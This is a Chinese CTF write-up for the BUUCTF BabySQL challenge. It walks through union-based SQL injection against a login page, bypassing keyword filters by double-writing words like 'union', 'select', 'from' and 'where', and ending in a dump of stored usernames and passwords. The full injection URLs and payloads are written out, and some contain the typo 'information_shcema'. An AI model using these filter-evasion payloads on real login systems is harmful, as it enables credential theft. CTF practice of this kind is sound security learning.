BUUCTF [极客大挑战 2019]BabySQL 1

本文详细描述了一次针对登录系统的SQL注入挑战,通过多重绕过过滤,作者展示了如何逐步获取数据库名、表名、列名和敏感数据的过程,重点在于绕过技巧和过滤策略的应对

打开就是个登录框,这道题是注入,那无疑就是user或者password处了

输入数据,在这里插入图片描述

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11'&password=22

在这里插入图片描述

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11' order by 10#&password=22

order by 判断列数发现order by 被过滤
在这里插入图片描述
直接union联合查询,发现union被过滤
在这里插入图片描述
双写绕过,

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11' ununionion seselectlect 1,2,3%23&password=22

在这里插入图片描述
接下来就是常规操作:

查找数据库名 -> 表名   -> 列名 -> 数据
11' ununionion seselectlect 1,2,database()%23&password=22
11' ununionion seselectlect 1,(select group_concat(table_name) from information_shcema.tables where table_schema=database()),3%23&password=22
11' ununionion seselectlect 1,(select group_concat(column_name) from information_shcema.columns where table_name='表名'),3%23&password=22
11' ununionion seselectlect 1,(select group_concat(列名) from 表名 ),3%23&password=22

但是发现对or\where\select也做了过滤

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11' ununionion seselectlect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables where table_schema='geek'),database()%23&password=22

在这里插入图片描述
继续双写绕过

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11' ununionion seselectlect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'),database()%23&password=22

在这里插入图片描述

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11' ununionion seselectlect 1,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'),database()%23&password=22

在这里插入图片描述

http://f079249e-ead1-4830-9a2c-dad8ed2f601d.node3.buuoj.cn/check.php?username=11' ununionion seselectlect 1,(seselectlect group_concat(id,username,passwoorrd) frofromm b4bsql),database()%23&password=22

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值